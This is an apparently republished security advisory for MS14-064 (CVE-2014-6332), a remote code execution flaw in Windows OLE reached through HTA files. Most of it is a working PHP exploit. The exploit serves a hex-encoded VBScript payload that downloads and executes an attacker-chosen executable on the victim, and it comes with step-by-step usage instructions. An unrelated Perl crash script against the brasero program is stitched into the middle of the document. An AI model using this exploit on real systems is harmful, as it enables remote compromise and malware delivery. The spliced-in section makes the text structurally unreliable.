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Author: Mohammad Reza Espargham Linkedin: https://ir.linkedin.com/in/rezasp E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com Website: www.reza.es Twitter: https://twitter.com/rezesp FaceBook: https://www.facebook.com/mohammadreza.esparghamVULNERABLE:1576
HistoryAug 15, 2015 - 12:00 a.m.
MS HTA (HTML Application) - Code Execution (MS14-064)

2015-08-1500:00:00
www.vulnerability-lab.com
9.3 High
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
0.974 High
EPSS
Percentile
99.9%
JSON
Document Title:
===============
MS HTA (HTML Application) - Code Execution (MS14-064)


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1576

Video: http://youtu.be/Vkswz7vt23M

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332

CVE-ID:
=======
CVE-2014-6332


Release Date:
=============
2015-08-15


Vulnerability Laboratory ID (VL-ID):
====================================
1576


Common Vulnerability Scoring System:
====================================
9.3


Abstract Advisory Information:
==============================
The Vulnerability Laboratory discovered remote code execution vulnerability in the Microsoft  HTA (HTML Application) - MS14-064.


Vulnerability Disclosure Timeline:
==================================
2015-08-15:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, 
Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by 
an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka Windows OLE Automation 
Array Remote Code Execution Vulnerability.


Proof of Concept (PoC):
=======================
The vulnerbility can be exploited by remote attackers without user interaction or privilege application user accounts. 
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce ...
1 . Run php code : php hta.php
2 . Copy this php output (HTML) and Paste as poc.hta (Replace ip)
3 . Open poc.hta
4 . Your Link Download/Execute on your target
5 . Finished ;)

#!/usr/bin/php
<?php
    # Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution
    # Tested on Windows 7 / Server 2008
    #
    #
    # Author      :   Mohammad Reza Espargham
    # Linkedin    :   https://ir.linkedin.com/in/rezasp
    # E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
    # Website     :   www.reza.es
    # Twitter     :   https://twitter.com/rezesp
    # FaceBook    :   https://www.facebook.com/mohammadreza.espargham
    #
    #
    #  MS14-064
    #
    #
    # 1 . run php code : php hta.php
    # 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)
    # 3 . open poc.hta
    # 4 . Your Link Download/Execute on your target
    # 5 . Finished ;)
    #
    # Demo : http://youtu.be/Vkswz7vt23M
    #
     
     
     
     
    $port=80; # Port Address
    $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link
     
     
     
    print "    Mohammad Reza Espargham\n\n\n";
     
    $host= gethostname(); #g3th0stn4m3
    $ip = gethostbyname($host); #g3th0stbyn4m3
     
    print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n";
 
    $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!');
    socket_bind($reza, 0,$port);
    socket_listen($reza);
     
    $msgd =
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    "\x3d\x30\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x61\x64\x64\x2b\x34\x20".
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    "\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x72\x75\x6d\x3d\x6c\x65\x6e\x62\x28\x61\x61\x28\x61\x31\x29\x29\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a\x20\x20\x20\x20\x72\x65\x64".
    "\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x65\x6e\x64".
    "\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x0d".
    "\x0a\x20\x0d\x0a\x3c\x2f\x62\x6f\x64\x79\x3e\x0d\x0a\x3c\x2f\x68\x74\x6d\x6c\x3e";
    $msgd=str_replace("FILE_DOWNLOAD",$link,$msgd);
     
    for (;;) {
        if ($client = @socket_accept($reza)) {
            socket_write($client, "HTTP/1.1 200 OK\r\n" .
                         "Content-length: " . strlen($msgd) . "\r\n" .
                         "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
                         $msgd);
            print "\n Target Checked Your Link \n";
        }
        else usleep(100000);
    }
    ?>


...


 
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
 
 
$path="/tmp/r3z4.m3u";
my $PoC = "\x41" x 10000 ;
open(crash , ">", $path);
print crash $PoC;
close(crash);
 
 
use threads;
 
 
sub check_app {   #thread sub
    system("brasero $path");
    return 0;
}
 
my @threads;
for (my $i = 0; $i < 20; $i++) {
    my $thread = threads->create(\&check_app);
    push(@threads, $thread);
}
foreach (@threads) { #join
    $_->join();
}


Security Risk:
==============
The security risk of the security vulnerability in the html hta application is estimated as high. (CVSS 9.3)


Credits & Authors:
==================
Author: Mohammad Reza Espargham
Linkedin: https://ir.linkedin.com/in/rezasp
E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
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